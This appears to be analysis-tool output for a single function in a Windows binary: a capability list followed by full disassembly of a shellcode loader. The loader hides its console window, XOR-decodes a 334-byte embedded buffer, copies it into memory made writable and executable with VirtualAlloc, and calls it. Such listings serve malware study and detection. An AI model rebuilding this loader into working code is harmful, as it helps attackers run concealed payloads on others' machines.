Function at 0x401130
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x364
mov eax, dword [0x40400c]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
lea eax, [ebp - 0x2d8]
push eax
call fcn.004014f0
add esp, 4
lea ecx, [ebp - 0x2d0]
push ecx
call fcn.004014f0
add esp, 4
lea edx, [ebp - 0x2d8]
push edx
call fcn.00401110
add esp, 4
mov ecx, 9
mov esi, eax
lea edi, [ebp - 0x364]
rep movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0x2d0]
push eax
call fcn.00401110
add esp, 4
mov ecx, 9
mov esi, eax
lea edi, [ebp - 0x340]
rep movsd dword es:[edi], dword [esi]
mov ecx, dword [ebp - 0x2cc]
push ecx
mov edx, dword [ebp - 0x2d0]
push edx
mov eax, dword [ebp - 0x2d4]
push eax
mov ecx, dword [ebp - 0x2d8]
push ecx
call fcn.004010f0
add esp, 0x10
fstp qword [ebp - 0x31c]
movsd xmm0, qword [0x4032a0]
comisd xmm0, xmmword [ebp - 0x31c]
jbe 0x401243
lea edx, [ebp - 0x2d0]
push edx
call fcn.004014f0
add esp, 4
lea eax, [ebp - 0x2d0]
push eax
call fcn.00401110
add esp, 4
mov ecx, 9
mov esi, eax
lea edi, [ebp - 0x340]
rep movsd dword es:[edi], dword [esi]
mov ecx, dword [ebp - 0x2d4]
push ecx
mov edx, dword [ebp - 0x2d8]
push edx
mov eax, dword [ebp - 0x2cc]
push eax
mov ecx, dword [ebp - 0x2d0]
push ecx
call fcn.004010f0
add esp, 0x10
fstp qword [ebp - 0x31c]
jmp 0x4011d8
mov dx, word [0x403120]
mov word [ebp - 0x2c4], dx
mov al, byte [0x403122]
mov byte [ebp - 0x2c2], al
mov ecx, 0x53
mov esi, 0x403128
lea edi, [ebp - 0x15c]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov cx, word [0x403278]
mov word [ebp - 0x2bc], cx
mov dx, word [0x40327c]
mov word [ebp - 0x2c8], dx
mov al, byte [0x40327e]
mov byte [ebp - 0x2c6], al
mov cx, word [0x403280]
mov word [ebp - 0x2b0], cx
lea edx, [ebp - 0x2b0]
push edx
push 0x404004
call section..text
add esp, 8
mov dword [ebp - 0x2ec], eax
mov ax, word [0x403284]
mov word [ebp - 0x2b4], ax
lea ecx, [ebp - 0x2c4]
push ecx
mov edx, dword [ebp - 0x2ec]
push edx
call section..text
add esp, 8
mov dword [ebp - 0x2f0], eax
lea eax, [ebp - 0x2b4]
push eax
mov ecx, dword [ebp - 0x2f0]
push ecx
call section..text
add esp, 8
mov dword [ebp - 0x2f4], eax
mov edx, dword [0x403288]
mov dword [ebp - 0x2dc], edx
lea eax, [ebp - 0x2dc]
push eax
mov ecx, dword [ebp - 0x2f4]
push ecx
call section..text
add esp, 8
mov dword [ebp - 0x2f8], eax
push section..data
mov edx, dword [ebp - 0x2f8]
push edx
call section..text
add esp, 8
mov dword [ebp - 0x2fc], eax
mov dword [ebp - 0x2e4], 0
mov eax, dword [str.d2JG]
mov dword [ebp - 0xc], eax
mov cl, byte [0x403290]
mov byte [ebp - 8], cl
lea edx, [ebp - 0xc]
push edx
mov eax, dword [ebp - 0x2fc]
push eax
call section..text
add esp, 8
mov dword [ebp - 0x300], eax
mov cx, word [0x403294]
mov word [ebp - 0x2b8], cx
lea edx, [ebp - 0x2b8]
push edx
mov eax, dword [ebp - 0x300]
push eax
call section..text
add esp, 8
mov dword [ebp - 0x304], eax
push 0x404008
mov ecx, dword [ebp - 0x304]
push ecx
call section..text
add esp, 8
mov dword [ebp - 0x308], eax
lea edx, [ebp - 0x2bc]
push edx
mov eax, dword [ebp - 0x308]
push eax
call section..text
add esp, 8
mov dword [ebp - 0x30c], eax
mov cx, word [0x403298]
mov word [ebp - 0x2c0], cx
lea edx, [ebp - 0x2c8]
push edx
mov eax, dword [ebp - 0x30c]
push eax
call section..text
add esp, 8
mov dword [ebp - 0x310], eax
lea ecx, [ebp - 0x2c0]
push ecx
mov edx, dword [ebp - 0x310]
push edx
call section..text
add esp, 8
mov dword [ebp - 0x314], eax
mov dword [ebp - 0x2e0], 0
jmp 0x40143b
mov eax, dword [ebp - 0x2e0]
add eax, 1
mov dword [ebp - 0x2e0], eax
cmp dword [ebp - 0x2e0], 0x14e
jae 0x401497
cmp dword [ebp - 0x2e4], 0x16
jne 0x40145a
mov dword [ebp - 0x2e4], 0
mov ecx, dword [ebp - 0x2e0]
movsx edx, byte [ebp + ecx - 0x15c]
mov eax, dword [ebp - 0x314]
add eax, dword [ebp - 0x2e4]
movsx ecx, byte [eax]
xor edx, ecx
mov eax, dword [ebp - 0x2e0]
mov byte [ebp + eax - 0x2ac], dl
mov ecx, dword [ebp - 0x2e4]
add ecx, 1
mov dword [ebp - 0x2e4], ecx
jmp 0x40142c
push 0x40
push 0x1000
push 0x14e
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x2e8], eax
push 0x14e
lea edx, [ebp - 0x2ac]
push edx
mov eax, dword [ebp - 0x2e8]
push eax
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
call dword [ebp - 0x2e8]
xor eax, eax
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040150b
mov esp, ebp
pop ebp
ret